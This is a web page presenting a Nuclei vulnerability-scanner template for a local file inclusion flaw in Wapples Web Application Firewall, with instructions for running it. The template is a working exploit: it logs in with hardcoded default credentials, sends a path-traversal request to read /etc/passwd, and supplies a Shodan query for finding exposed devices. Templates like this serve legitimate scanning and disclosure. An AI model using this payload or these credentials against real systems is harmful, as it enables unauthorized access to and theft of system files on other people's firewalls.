Wapples Web Application Firewall - Local File Inclusion

ID: wapples-firewall-lfi

Severity: high

Author: For3stCo1d

Tags: wapples,firewall,lfi,authenticated

Description

Wapples Web Application Firewall is vulnerable to local file inclusion.

YAML Source

id: wapples-firewall-lfi

info:
  name: Wapples Web Application Firewall - Local File Inclusion
  author: For3stCo1d
  severity: high
  description: Wapples Web Application Firewall is vulnerable to local file inclusion.
  reference:
    - https://medium.com/@_sadshade/wapples-web-application-firewall-multiple-vulnerabilities-35bdee52c8fb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:a:pentasecurity:wapples:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.title:"Intelligent WAPPLES"
    product: wapples
    vendor: pentasecurity
  tags: wapples,firewall,lfi,authenticated

http:
  - raw:
      - |
        POST /webapi/auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id={{username}}&password={{password}}
      - |
        GET /webapi/file/transfer?name=/../../../../../../../../etc/passwd&type=db_backup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    attack: pitchfork
    payloads:
      username:
        - systemi
      password:
        - db/wp.no1
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"
# digest: 4a0a004730450220168025a2d087e7f8d13da89b386775e9c62eb41d8570894d68576d48599a3461022100a2151a128c9b571c1434d9473de3a016b5fd8c69394f46d0ad377fab3560ac9b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/wapples-firewall-lfi.yaml"

View on Github